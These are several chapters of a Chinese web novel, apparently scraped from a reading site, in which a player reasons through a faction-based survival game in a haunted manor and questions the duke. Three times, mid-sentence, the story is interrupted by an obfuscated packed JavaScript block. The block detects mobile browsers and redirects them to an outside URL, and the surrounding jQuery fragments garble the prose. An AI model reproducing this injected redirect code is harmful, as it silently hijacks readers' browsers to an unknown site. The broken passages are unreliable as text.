江星晚没做这个交易,毕竟她已知晓尹辰就是受邀来到庄园,双方条件并不对等。经过交涉,两人最后各退一步,公爵姐姐透露了邀请函为公爵亲笔,江星晚告知她试验的方法。 不出意外的话,明天公爵姐姐应该会进行试验,到时她就可以参考公爵姐姐的结果来推理关于身份权限的规则。 而今晚动用身份干涉了“原定规则”的应该不止她一个。 晚餐时公爵左手边依次坐着长子长媳、幼子霍白、她和尹辰以及李,排布还算正常,但公爵右手边的座位次序是公爵姐姐、刚子、世交之子、义子、林曼和裴管家。 两边表现出的规律不对,义子…… 冰冷感忽地攀上皮肤,房间内如同骤然多了个敞着门的冰柜,源源不断地往里面输送凉气。头顶的吊灯紧随其后,毫无征兆地灭掉。 不过瞬息之间,冷与黑便同时把人包围。 好明显的超自然现象。 江星晚屏息以待,整个人紧张又兴奋,抓着匕首跃跃欲试。她不怎么了解外国鬼,不清楚它们的战力,但这些都不太重要,毕竟鬼没办法被克制的话人早晚都得死,不如主动出击,摸到对方特点就是赚。 一息、两息、三息…… 无事发生。 江星晚逐渐放弃屏息,拉平嘴角,空置的手搭上另一只手腕开始数脉搏。 房间内依旧漆黑一片,那股不正常的冷气却渐渐消退,逐渐回升成宜人温度。 江星晚凭记忆看向吊灯,它始终没亮。 “……你关灯了?”尹辰没等江星晚叫就主动醒来,黑暗里隐隐能看清她轮廓。 江星晚语气很淡:“电压不稳。” “啊?” 江星晚往枕头上一靠,留下睡前忠告:“敌人和敌鬼没真打过来前,不用叫我。” 8. [霍普庄园-6]阵营 六点钟,庄园的钟表重新开始工作,老式大摆钟的报时声替代起床铃,让江星晚意识到她已经不用上班了。 她现在在异世界。 江星晚坐起身,一眼就看见房间正中的那把椅子,坐在椅子上的是她先前绑来的背景板路人,目前正在抱刀坐岗。 不上班的日子好像也没给人增添多少希望啊。 屋内光线朦胧,江星晚拉开窗帘,让外面的光照进来。 窗子镶嵌的玻璃其实很清透,但透过这扇窗子去观赏时,能看到的东西都会被模糊化处理,而且也无法在其中找到光照来源。 江星晚用匕首敲了一下窗,发出的声音倒是正常。 “你说,我们会不会其实是在一个水晶球里?” 尹辰没听清:“什么?” “昨晚你冷吗?”江星晚转身问他。 “……不冷。” 见他是思考后才得出的结论,江星晚估摸着昨夜的异常可能是特定时间段才会出现的情况,而非针对玩家个人。 不过这种推论也不绝对,毕竟她也不确定尹辰现在到底算什么,又能不能和玩家享有完全相同的副本待遇。 “我出去会会其他人。你可以再休息一会儿。” 尹辰微愣:“不用我跟着吗?” 江星晚点头,“没事,我一个人OK的。” “好。那你小心。” 江星晚离开房间,先叩响了隔壁长媳的房门。 长媳把门打开一条缝,见是她时明显有些惊讶,但还是把门又拉开了些,放她进来。 江星晚侧身进去,长媳紧接着把门关好,问她:“你想说什么?” “随便聊聊?”江星晚笑意真诚,“咱们开局可是坐一个沙发的。” “我没什么能分享给你的。” 江星晚毫不在意:“可我有啊。” 长媳的神情有了波动,语气复杂:“你图什么?不觉得吃亏吗?” 江星晚笑容不改,看起来格外天真:“因为我觉得我们是同盟。” 长媳沉默了会儿,淡声问:“你的同盟,不是那位道长吗?” 提到尹辰,江星晚表情变得微妙,含混道:“他……那是有点小意外的私人恩怨。” “恩怨?”长媳理解到了江星晚那种欲言又止的别扭,但理解过度,“他是你前夫?” 江星晚被这话呛了一下。她是做好了用前任糊弄的打算,但也没想过用前夫啊。 怕长媳继续语出惊人,江星晚解释了一二:“倒也没恩怨到这个份上。只能说天意弄人……将错就错吧。” 长媳闻言没再深问,只道:“既然之前认识,找他结盟不是更安全吗?” “可有时候人的阵营不是自己能选的。还是说——你的能选?”江星晚盯着长媳,对方不像幼子那种老油条,发言状态在全场玩家里算相对好抿的,就像现在,她基本能从长媳的犹豫里推测她应是知道一些有关阵营的线索。 “……你想分享什么?” “我发现这是个阵营本。存在固定阵营和游离位。并且初步推测开局站位和固定阵营的排布存在联系。既然是游戏,那总要有通关方法。里面的身份和刷新点又怎么会是白给的呢?” 江星晚朝长媳伸出手,“嫂嫂啊,三人的沙发为什么是我们坐?六个人有座位,按三二一分,你会怎么分,怎么做呢?” 长媳摩挲着自己的手腕,没有看她:“这都是你的推测。” “但你可以由果推因。”江星晚热心举例,“如果三个人在一个阵营里,那大大方方聚在一起是完全没有问题的。毕竟在这里我们都是‘家人’,家人聚在一起聊天,很正常的。” 长媳没应声也没反驳,江星晚也不急在一时,毕竟她算是“后来者”,想要居上也需要时间。 “你可以好好想想,我以前还玩过挺多次阵营游戏的。如果想赢,一定要找对阵营。”江星晚给出最后的诚恳建议便要告辞,长媳在她拧开门前叫住她。 “你知道本场世界游戏的关键词吗?” 江星晚回头,第一次在长媳脸上见到了笑容。 “是阵营。” 眼瞧着黎晚怔住的模样,长媳伸手去替她拧门把,“你说的我会考虑的。” 房门打开,江星晚一只脚迈出去,又忽然回头看向长媳:“你门前的这幅画一直挂在这个位置吗?” 长媳径直抬眼确认:“是啊。” 江星晚笑笑:“我还以为它比昨天挂高了一点,可能是看错了。” 长媳闻言倒是又多了两眼墙面,江星晚朝她挥手作别,折回自己房间,迅速关好门。 尹辰:“有人追你?” 江星晚看着他摇了摇头,视线却没有移开。盯了一会儿后,她闭眼感慨:“天赋和天赋之间的区别就这样大吗?” 尹辰:? “没什么,我刚刚去找了长媳。这里确实存在阵营,但关于阵营到底是怎么分的,目前还没有明确线索。” 江星晚又拿出那封信,这是她的个人任务线索,联系先前公爵叫她时所听到的消音部分,她推测被屏蔽的是“她的名字”。 十二个玩家身份里,疑似有名字的只有义子扎克和李。没给出不代表没有,藏着掖着的反而可能是重要信息。 毕竟游戏既然已经安排了所有NPC统一说中文,就没必要在个别台词上特意跳过不做翻译。唯一的解释是这部分涉及到了世界的核心任务,在未知晓该信息前,相关内容是“无法被听见”的。 另外,长媳确定阵营存在时提到了“关键词”,这是游戏里的新词汇,而编谎时一般不用新定义。长媳先问再答可能也有试探意思,所以她大概率有个能确定副本关键词的天赋。 天赋与游戏出自同源,可以互相印证。身份的名字基本隐藏,同时藏住的也是身份之间的关系网。管家阻止他们出门,窗子外的景象假的像肥皂泡,庄园实际就是一座无法逃离的牢。 既然逃不掉,那线索指定之人一定也在这里。 “你觉得谁最有可能是爱德华?” 尹辰当然给不出建议,他甚至还不知道爱德华是哪里冒出来的。江星晚把线索分享给他看,尹辰凑近闻了一下:“爱德华身上会不会有这种味道?” 江星晚:“你能闻出来谁身上有吗?” 尹辰斜了她一眼:“你应该去借一条狗。” “……抱歉。” 尹辰知道她并非有意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16681679|188789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也没放心上,只继续思索:“或者你想想谁最有可能用这种方式祝你生日快乐。没有当面说,送了贺卡却只写这一句。” 江星晚微顿,现在这位古装背景板继听懂OK后也能翻译生日快乐了。 难道他在背景里留过洋? “感觉关系很微妙。”尹辰喃喃,仍沉浸在这场硬推里。 江星晚倒是有个验证办法,只是需要人配合:“道长觉得,你能敲开那些男人们的门吗?或者说,你觉得用什么理由能够进入他们的房间?” 尹辰:“你想做什么?” 江星晚合上贺卡,“去他们房间找香水,看哪个味道符合,确认爱德华。” 尹辰觉得这个计划有纰漏,“万一没人用香水,用在贺卡上的香水不在房间,或者两个人用了一样的香水呢?” “那也没办法,只能说明游戏有意上难度。”江星晚一摊手,她只能尽力给出自己在当下认为最稳妥的方案。至于成与不成,也不是她努力了就定会有结果的。 爱德华的确是最有可能与她同阵营的那个人,但如果实在找不到也不要紧。 江星晚可以尝试独赢。 唯一的遗憾是爱德华极大可能手里也握着她的信息,两人如果成功接头将可以验证关于姓名的猜想。 但接头太难了。 …… 庄园的早餐时间很快到来,所有人的座位次序没有变动,而公爵也还活着,照例在餐前提及了恩特那提并告诉他们在等待期间可以在庄园里尽情耍玩。 他这次没有再抽搐,众人很平稳地渡过了这段时间,直到公爵离开。 餐厅的大门刚合上,长子就开口道:“我这有条消息。” 场面一时静下来,长子招来侍者,让他们把餐桌收拾干净。 桌上的东西很快撤走,长子把侍者一并打发离开,然后把手臂支到桌上,对着所有人说: “我是预言家。” 玩家反应各异,但很快有人反问:“你怎么证明?” “我不需要证明。”长子一雪昨日晚餐之耻,重回拽之风格,“我有我的独家消息,消息比你的怀疑值钱。现在我愿意坐在这里跟你们所有人分享,只是想早点结束这种无谓的游戏。” 他继续道:“这个游戏的主线任务其实很简单。只需要你们站对阵营,也就是支持我。” 长子丝毫没觉得自己的话有哪里不妥,语气从容:“我继承庄园后,归属我阵营的都会取得胜利,离开这个地方。” “说的好听,谁知道你是不是骗人!” 长子一点也不在意:“随便你信不信,你的看法并不会影响到我。我也没有耐心做救世主,对不信我的人哄着他信。总之,想赢下这场游戏的,都可以来找我。” 长子起身,显然是要回房间。 刚子叫住他,问:“谁都可以加入你的阵营吗?” 长子指了下刚刚同他对呛的世交之子,“他不行。” 世交之子顿时气到扭曲,拍案而起,“你以为老子没玩过狼人杀?预言家是神职,你倒是说说你查验了谁?这么些人又是怎么分的神民狼?可别是狼人悍跳混淆视听吧!” 长子啧了一声,“无可奉告。” 9. [霍普庄园-7]条件 长子扬长而去,剩下的人却没有轻举妄动。怒了一通却没得到任何回应的世交之子也渐渐怒不下去,使劲坐回椅子上,造出一道刺耳声响。 见其他玩家都跟个木头人一样,他一脸难以置信:“不会吧?你们不会都信了吧?他这话可是一点依据都没有,空手套白狼啊!” “也不算一点东西没给。”李磨蹭了一会儿才接话,“他不是提到了继承庄园吗?” “系统没确定的消息那能是真消息吗?你们不觉得他说的很假吗?如果胜利真的那么简单那不就是纯送他赢吗?而且他说他是什么,预言家?哎你听听,预言家哎,那咱这玩的是狼人杀吗就预言家!” 裴管家:“小伙子别激动……” 世交之子见管家开口,又来了力气,迅速想到新论据:“你们看,咱这还有庄园的前任管家呢,我们一起用脑子想想啊,这前任管家能和继承庄园扯上联系吗?” 见没人搭话,世交之子视线一转又注意到坐在裴管家对面的尹辰,忙接着道:“咱这还有道长,道长啊!驱鬼的,主线任务怎么可能会是简简单单站队投靠就行了呢?” “那你觉得长子言论的漏洞在哪里?只是预言家这一条吗?”刚子冷静询问。 世交之子反问:“这一条还不够可疑吗?” 刚子:“但按我们的人数来看是可以满足狼人杀条件的。” “但我们的身份牌哪来的神民狼啊!”世交之子破防一指,指到尹辰身上,“难道他算猎人?鬼就藏在我们之中?问题是已经过去一夜今天也没人死掉,平安夜吗?那谁又是女巫?” “可我们有天赋啊。”不知谁低声嘀咕了这么一句,世交之子像突然被按了开关一样,瞬间消音。 剩下的话不必说也都心知肚明,这时候除非全体玩家都愿意坦白天赋,不然根本无法着手推理。 但这种情况完全不可能出现。 大家手里握着的信息太少,任务又不明确,谁也不能确定玩家之间是竞争关系还是可以合作共赢。 赌一颗心尚有五成失败率。同时赌十二颗心的真与谎,成功率基本无限趋近于零。 眼见事情要陷入僵局,义子也开口:“虽说破局很重要,但谨慎些也没错。假设长子说的全是对的,仍然存在一个问题是其他阵营是什么,参与不同的阵营又会不会遇到不同的难题?得到不同的奖励?加入阵营后又能不能再更改,会不会付出额外代价?” 义子笑了笑,摊手以示友好:“玩游戏,大家总要追求利益最大化的。” 林曼轻笑,语气玩味:“三号竞选者发言不错,还有第四位要发表演讲吗?” 有人看向幼子,但幼子始终一声不吭倒也没人非让他站起来。 林曼:“既然没有——” “等等。”李又一次开口,“我们不再确定一下狼人杀的可能性吗?我的意思是……提前做好预案总不会出错。” 林曼做了个请的手势:“那有请李先生发表一下你的观点。提供论据。” 李一噎,支吾道:“我是想再问问大家的想法……” 江星晚捏了捏虎口,有点头疼。如果爱德华出在这些人中间,感觉还不如她单打独斗。 别的先不提,就这脆弱到一碰就碎的信任,根本经不起一点考验。 “我有个主意。你们想听吗?”江星晚也厌倦了这种无休止的试探,只想快速结束议程,“不记名投票。觉得不是狼人杀的就在纸上画个叉,最后统一唱票,看叉多还是空白多。” 李:“是不是太主观了?” “现实是客观信息也无法给别人展示它的客观,左右都是君子协议,形式没那么重要。”江星晚没说的是如果真打算用依次报天赋的方法来进行推测,那么他们这一群人恐怕僵持到午餐时间都未必能出结果。 无论怎样都可能有人撒谎的前提下,使用没办法辨认投票之人的小纸片得到的信息准确性还高一点。 万一真就有人天赋叫什么狼人女巫的呢? 最终投票的结果是五五开。算上没参与的长子,在场认为可能是狼人杀的玩家已过半数。 ……实际没过。 尹辰的叉是在江星晚暗示下画下的,她自己投的空白,平了下票。 江星晚给自己留的后路就是空白票,她都给自己想好身份了,谁来试探她都照着暗恋者演,做进可攻退可守的第三方。 散场后两人沿着楼梯往上走,江星晚忽然停下来问:“你说公爵会住在第几层?” 尹辰微愣:“现在就去找他吗?” 江星晚沉默,这么玩是有点冒险,但玩家这边已经乱成一锅粥了。如果主线任务真的不予公示,那玩家转述的信息可信度远远比不上自己从NPC那里试探出的。 “……我们先回房间。”江星晚提起裙摆继续往上走,早上那会儿她还抽空做了个实验,发现房间的门有着单向隔音效果,全然堵死了用偷听办法获取信息的路子。 当然,不排除有玩家的天赋就是偷听,但依照目前的居住布局来看,高频率地偷听必然会增加暴露风险,暂时也不用太过担心。 真要论起来,已明牌的“预言家”比偷听危险多了。 “咚咚” 敲门声从走廊传来,江星晚脚步一顿,递给尹辰一个眼神。 尹辰会意,上前观察。 随着开关门的动静过去,尹辰回头朝她点了下头。两人回到房间,江星晚问:“去找长子的?” “嗯,是刚子。” 江星晚倒不意外,刚子明面上没队友,要考虑的事情相对没这么多。 尹辰:“咱们要去长子那里一趟吗?” 江星晚又拿出纸笔,“你信他说的?” “他明显知道点什么,说话底气很足,完全不怕被拆穿。” “而且该隐瞒的还都隐瞒了。”江星晚在纸上画线,“预言家,按狼人杀来说每晚能查验指定玩家的身份。但没有确切证据表明霍普庄园会以狼人杀的形式开展,所以预言家的天赋效果仍有其他可能。除此之外,还有一种很坏的可能性。” “那就是霍普庄园的机制确实参考了狼人杀,并在夜晚时分已经进行了刀人救人机制。即长子所说的预言家是昨夜才赋予的机制新身份。” 尹辰沉思:“昨晚并无异常。” “坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16681680|188789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就坏在这里。”江星晚反倒笑了,“咱俩可能是纯平民。” 如果昨晚的降温熄灯环节是“天黑请闭眼”的时间段,那就意味着在江星晚以为自己是被游戏虚晃一枪的时候,实际是她根本没获得上桌的邀请券。 尹辰:“平民……也许会安全一点?” 江星晚并没有被安慰到:“我宁可危险一点,多拿点信息。” “看其他竞选者的反应,即便是狼人杀,民的数量应该也比神多,到时候我可以说自己是猎人。”尹辰提出方案。 江星晚笔尖一顿。 狼人杀的历史这么悠久吗? 尹辰:“你觉得呢?” “我觉得这个计划可以暂时列入备选。”江星晚先稳住尹辰,“很多问题或许在明天就能拥有答案。至于今天,我还是想去找公爵。” “现在去吗?” “不,等钟响,临近午餐时间再去。不过——”江星晚放下笔,把手中的纸张递给尹辰,“在庄园里,好像没看见过钟?” “嗯?”尹辰看着纸上刚画的简易庄园布局图,顺着江星晚的标注开始依次回忆布置。 江星晚则继续分析着:“老式钟表一般分为立式和挂式,它们的声音是不一样的。而我们每次在庄园里听到的钟声更接近于立式。这种钟表体积很大,如果真的有,不会看不到。” 尹辰回忆完成,参与进讨论:“的确没见过钟。而且在不同地点时钟声的……清晰与否好像也存在一些差别。我感觉回到房间时,比在外面听得清楚。” 江星晚轻轻点头,思索着可能性。她倾向于钟的安排有其特殊意义,毕竟只在白天响起的钟,总不会是为了保证玩家的睡眠质量。 现实里的立式钟,报时根本不管是日是夜。 不响就是坏了。 一段时间的安静思考后,尹辰先给出见解:“钟藏在密室里?” 江星晚抬眼看他,嘀咕道:“你怎么一会儿唯心一会儿唯物的?” 尹辰茫然。 江星晚轻咳一声,挪动了一下纸张,把布局图转到一个两人都方便看的角度。 “我们目前接触到的只有一到三层。二楼与三楼全是用于居住的房间,且外部布局完全一致。都是两端为楼梯,由一条长廊连通,并在长廊一侧均匀地安排六个房间……”江星晚正说着忽然停下来,重新观察房间纵深,然后用手指比量自己画的一楼图解。 “你方向感好吗?”她问尹辰。 “还行。是要做什么吗?” 江星晚:“你觉不觉得一楼少点什么?” 尹辰闻言,重新看向一层的平面图。他和江星晚行动路线基本一致,而这幅图也是根据他们昨天的行动路线画的。大的功能分区没有错位,小的无意义空白边角也没有落下,完全是根据所见复刻。 “感觉上,总体大小是可以对应的。但细想的确也有古怪,毕竟一楼只有……这条长廊开了窗户。”尹辰在图上找到靠近大门的那部分。 江星晚补充:“三楼的窗户也只在房间可见。庄园的照明完全依赖灯具,而不在乎自然采光。甚至这些仅有的窗户也——只朝一边开。” 10. [霍普庄园-8]追逐 发现这些古怪后,江星晚反而多了几分荒谬的安心感。能做文章的细节越多,推测便有望离真相更近一步。 把记满信息梳理的纸张再度分别折好,江星晚将它们放进裙下的口袋里,和之前的梳理归到一起。系统背包不收这个,她只能随身携带。 好在游戏只是追求装扮复古,对纸笔的时代复原有所放宽,备在房间里的纸张都比较接近当代,轻薄好写。若只提供羊皮纸,那怕是给她腰上再绑三个口袋都不够装的。 塞好信息,江星晚一边整理裙摆一边道:“等会咱俩就要去找公爵了,先对一下故事流程。” 尹辰困惑,“故事流程?什么故事?” 江星晚抿唇微笑,“我,一位爱好东方玄术的女士。在离开霍普庄园的期间,邂逅了一位擅长东方玄术的道长,你。我们——” 江星晚看了看房间,又想了一遍管家说尹辰也在这里时的笃定语气,深吸一口气后才继续道:“坠入了爱河。” 尹辰瞳孔地震,也深吸一口气,低声问:“这真有人信吗?” 江星晚含糊出声:“那都有道长了你还在乎爱真不真呢。你要实在觉得演不了的话……” 江星晚战术性以拳抵唇,正色道:“我也可以把你编成女扮男装。” 尹辰沉默三秒,见江星晚依然维持原表情,冷静发言:“这……更难说服别人吧。” “身份是系统分的,又不是自己选的。”江星晚语气肃然,像在给患者科普医学知识,“不要假定道长的性别。” 尹辰缓慢移开视线,扶膝沉淀了半分钟之后重新看向江星晚,试着提起嘴角,僵硬一笑:“坠入爱河之后呢?” 江星晚控制了一下表情,尽力编个简单好记的:“我收到公爵的来信,经过沟通后我带你一起回到霍普庄园。公爵知晓你的存在,所以你也算他请来的。” 房间安静片刻。 尹辰:“没有了?” 江星晚点头,“没了。这不是把之前说过的都用上了吗?” 尹辰:“不用再润色一下吗?” 江星晚:“公爵要是真想听我可以现场润。现在就不用记这么多了。真到那一步,你就负责在恰当时机点头就行。 对,就保持这个表情。” 尹辰把眼一闭,“……那对其他玩家呢?” 江星晚胸有成竹:“不回应就是最好的回应。” 编谎就要用更多的谎去圆,不如保持沉默,随便对方猜测。顺便还能从对方的猜测方向里揣摩一下对方想法。 “还有别的问题吗?” 见尹辰摇头,江星晚起身,“那我们出去等。看看在走廊里听到的钟声会不会有变化。” 她打开门,刚走出去就瞥见正往这来的刚子,两人视线对上,一时都顿住脚步。江星晚下意识想关门,但尹辰已跟出来。 要命,刚子跟长子都聊了什么,能聊这么久? “叔叔。”江星晚先发制人,“你不是住在二楼吗?” 才刚到三十岁的刚子僵了下,嘴都有点打瓢,侄了好几下也没好意思占这便宜,最后支吾过去,只坦言他来找长子。 江星晚哦了声,还往前迈了半步,压低声音问他:“找他的人多吗?” “还、还行。” 江星晚略带纠结地点点头,抬眼见刚子还站着连忙拉着尹辰侧身让开,语气真诚,“谢谢你啊。” 刚子略不自在地走了过去,顺着这边的楼梯下楼时还能听见黎晚同尹辰小声商量的声音。 “你说我们要不要去投靠长子啊……” 剩下的话渐渐听不清,刚子听见开关门声响,握了握拳加快下楼步伐。 江星晚等了一会儿,确定听不到其他动静后才松开门把,结束了声音模拟演习。 “咚——”听着远比之前要轻的钟声似乎是隔着天花板传来,江星晚仰头去看,只能瞧见白色的吊顶与浅金色的玻璃吊灯。 如果不是房门对钟声有增大音量的效果,那就只能是这钟声的确有隐含意义。 静等钟声响完,没听出每一声之间差异的江星晚也该出发,在两道楼梯中选定了离自己房间更近的这道。 尹辰走在前面,领先她半个台阶的距离。江星晚单手拎着裙摆,特意空出右手来方便从系统背包掏匕首。分明是完全相同的楼梯阶数与转角布置,但走起来就是更让人感到一阵心悸。 她应是在脑子里装了太多关于恐怖片的套路吐槽,以至于冒险精神全都和主角开始作死的情节完成了深度绑定。 支持着她前进的究竟是理智还是直觉,她也无从分辨。 登上四楼,离开楼梯间后进入的是与二三楼高度相似的走廊。 深红色满铺金花的墙面,白色的吊顶,一侧是门,一侧是挂画。区别仅在于门的数量与挂画的位置: 四楼只能看见一扇很气派的大门,很像主卧。江星晚能看见的挂画却并未挂在门的对面,而是在走廊的边缘——只有一个空画框。 画框像是金制,但充斥着一种饱经岁月磋磨的斑驳感,瞧着不太像有人打理的却又看不见落灰。就这么方方正正地挂在墙上,有种说不出的诡异。 “你在看什么?” 尹辰的问询让江星晚的心猛地一跳,她诧异地回头,对方困惑又茫然的眼让她头皮一紧。 他看不见? 但她房门前的画他能看见。 “这面墙……”江星晚还没把话说全就见楼梯间里又探出个人,这人踏进走廊后神情一愣,很快又笑着打招呼,“姐姐,道长。” 突然出现的幼子:“好巧。” 江星晚:并不是很期待这种巧合。 “姐姐也是来找爹地的?” 江星晚一默,她得承认幼子这人有点本事在身上,一句话就驱散了她刚刚的恐惧心理,但她现在有点反胃。 “你就不能统一一下称呼?”听一声这个比听十遍的超甜父亲杀伤力大多了。 幼子依然笑着,“姐姐不觉得这样叫更好听吗?” 江星晚并不觉得,但出于对人类爱好多样性的尊重,她选择不予置评。 “谁让我只是个弱小无依的小儿子。”幼子直接开演,从笑容满面变作可怜模样,“嘴再不甜点,怎么能比得过哥哥,赢得姐姐们和道长的支持呢?” 江星晚简直没眼看,却也没漏掉信息:“你也需要支持?” 幼子收了“神通”,正经道:“咱们一起进去问问不就知道了。” 见江星晚没有立即答应,他又道:“姐姐放心,我嘴巴很严的,会很支持你和道长的。再说了……” 幼子压低声音,“跟弱势方联盟,多好谈筹码?” 江星晚的表情没什么变化,安静听完后给幼子让开位置,“好啊,你敲门吧。” 幼子也不扭捏,直接过去叩门,两声爹地叫的江星晚站旁边深呼吸。 房门很快打开,先出现的却是管家。 “公子、小姐。”管家冲他们行礼,“公爵请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16681681|188789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们进去。” 三人走进去,门里面还有门,杵在门外的侍者给他们拉开这扇门,管家在此停步,仅让他们三个走进公爵的豪华卧室。 入目是一扇巨大的落地窗,窗前摆着一把背对着房门的红丝绒靠椅,公爵的头毛越过椅背跟他们打招呼,幼子锁定公爵位置,上前一声爹地。 公爵拄着他的权杖起身,这次倒是操着流利的中文与他们对话,“我可爱的孩子们,来找我是有什么需要帮助的吗?” 一脸慈爱的公爵说话时的做作程度不亚于幼子的表演,江星晚感觉自己的大脑在被持续攻击,偏偏又不能逃避。 “我是陪姐姐来的。”幼子张口就来,又紧接着道,“顺便想问爹地一个问题。” 江星晚睨过去的眼神又斜回来,竖起耳朵听听他要先怎么说。 “哦?什么问题?” “爹地昨晚真的找哥哥偷偷见面了吗?” 江星晚:嚯,勇夫。 尹辰看着朝他这边移了半步的江星晚,越看越觉得江星晚编造的故事简直好的不得了。 比演父子情深好多了。 “哦~”公爵拉长尾音,“你听谁说的?” 幼子拉出卖可怜的表情,“哥哥专程来找我们炫耀的!” 公爵轻轻敲击着权杖上的红宝石,没有说话。幼子接着伤怀,“我以为爹地最想见到的是我。” 公爵抬头,看向幼子,绷着脸盯了他足足半分钟后,猝然一笑,“他毕竟是你哥哥。霍普家族的长子。” “我明白的,爹地。家族的荣耀与未来都是哥哥的。我不会贪图不属于我的东西,但也想得到您的认可。” 幼子哄爹的确有一套,公爵一个NPC都被他哄的有点飘飘然,整个人都自觉伟岸起来,伸手拍了拍幼子的肩膀。 “我懂事的孩子,你同样继承了我的优秀,不必为前途感到茫然。比起先祖定下的规矩,为父有着更好的办法来延续家族的荣耀。” “既然今天你已来到此处,我便提前告知于你。”公爵并没有把江星晚和尹辰先清出去,而是直接道,“出生的早晚并不能决定能力的高低,继承人的能力才是振兴家族的关键。有能力的孩子不该被埋没,为了家族,为了荣耀,也为了你们,恩特那提开放之日,我将选定最有能力的那个孩子来做霍普庄园的下一任继承人。而你,我亲爱的孩子,同样有资格来追逐这柄权杖。” “展示你的能力吧,向我证明你比你的哥哥更有资格。” 幼子的眼神逐渐肃穆,最后又变回孺慕,试图压低身高营造仰视效果。 江星晚安静旁听疯狂记忆关键点,却紧接着迎来公爵的注视。 她看着公爵给幼子展示完权杖后又拿着权杖朝她来,内心有点小小的惊讶:难道她也有资格追逐权杖归属?公爵实则是有着划时代继承权安排的先进思想者? “好久不见,亲爱的孩子。没想到时间过得这样快,转眼间你就变成了大姑娘,还、还找了个——”公爵顿了顿,抬手比量了一下尹辰,不知该用什么去形容。 “父亲。”江星晚生怕公爵在幼子跟前秃噜点什么不该秃噜的,只想让他闭嘴,“我也想追逐点什么。” “行吧。”公爵摇头叹气,一副无可奈何的样子,“追逐爱情,为自己的心做出赌上一生的疯狂行动。好吧好吧,只要你是高兴的,也能称之为勇敢的姑娘。” “这次回来就在庄园多住上一段时日吧,至少等到恩特那提开放,你母亲最爱这个。” 11. [霍普庄园-9]母亲 母亲? 江星晚对上公爵的视线,又迅速撇开,面无表情道:“我还以为您已经忘了这些。” “我怎么会忘呢?”公爵面容悲伤地按住自己的心脏,“我永远记得她,你的母亲,她在我心中的位置无可取代。” 江星晚特意等了等,发现公爵对她确实只有这一句话后抿紧了唇,瞥了眼在一旁看戏的幼子后冷哼一声。 公爵见状,从悲伤的情绪里抽离出来,嗔怪道:“你真是像极了你的母亲。但你要相信,我依然是爱她的。” 江星晚沉默,她只想听点有用的,但公爵一到她这里脑子里就只剩下爱情,还要靠她往下接戏才能继续进行一些短暂的“深情”表演。 他情真情假和她有什么关系啊?也没给予她什么实际好处啊? “我想再见见她。” 公爵的做作表情一下子全部消失,探头盯着江星晚,眼底带着若有似无的兴奋,“你确定吗?” 江星晚一僵,握紧拳头愤怒道:“难道你把她的画像都扔了?!” 被指控的公爵眯了眯眼,重新站直身体,拇指摩挲着那颗权杖上的大宝石,语调微妙:“你在说什么呢,我亲爱的孩子。你难道忘了你的母亲不爱画像吗?” 江星晚的愤怒消退,干笑两声,“是吗?” “你果然不记得了。” 公爵刚要提起的嘴角滞住,江星晚沉着声音,冷脸质问他:“不爱画像的到底是谁呢?你说的是谁的母亲?你分得清吗?” 三连问。 公爵看向江星晚,不带感情的长久注视并未吓退她的愤慨,只好以他的让步告终。 “开个玩笑。”公爵拄着权杖远离她,“刚刚只是逗你的。你可以向管家要钥匙去看望你的母亲,但别逗留太久。” “毕竟过度的悲伤会带来死亡,你的母亲定然不希望你如此。”公爵走回落地窗前,平静地讲着这些疑似规则禁忌的东西。 “好了,孩子们,回去吧。钟声要响了。” 三人从房间里出来时,正好赶上十一点的钟声。一同在走廊听完这钟声后,幼子先给江星晚比了个大拇指,然后才道:“姐姐介意我和你一起去找管家吗?” “你要以什么身份去?”江星晚语气淡淡的,就刚刚那场对话下来,她和幼子之间都没什么再演的必要了。 “你是我姐姐啊。” “你是我弟弟吗?” 江星晚不认为幼子看不出两人压根不可能有同一个母亲,即便一开始没往这里猜,刚刚在公爵那里她瞪的那一眼也等于明示了。 “听我一句劝,你不适合出现在那里。” 幼子并没有顺着江星晚的台阶滚下去,“我也可以喊妈咪的。” 江星晚闭了闭眼,只觉得这人真是不怕死啊。 幼子继续推销自己:“我还可以给姐姐壮胆。多个人多一份安全嘛。” 江星晚完全没有心动,甚至觉得幼子这个身份放在寻找母亲计划里只会给她增加危险。 “我还在这呢。”尹辰从江星晚身后绕过去,走到幼子和她中间,对幼子表明立场,“很明显,我比你合适。” 幼子饶有兴致地看着他,“去看望姐姐的母亲,道长更合适吗?” 尹辰:“我——” “尹辰。”江星晚叫住他,把人拉开一点。尹辰和她的关系是掣肘也是机会,现在完全没到可以明牌的时候,多说就是纯送。 江星晚:“目前为止我仍保有你的优先级,但你再说下去就不一定了。” 幼子打量着两人,笑了,“我以为姐姐会更想赢一点。” 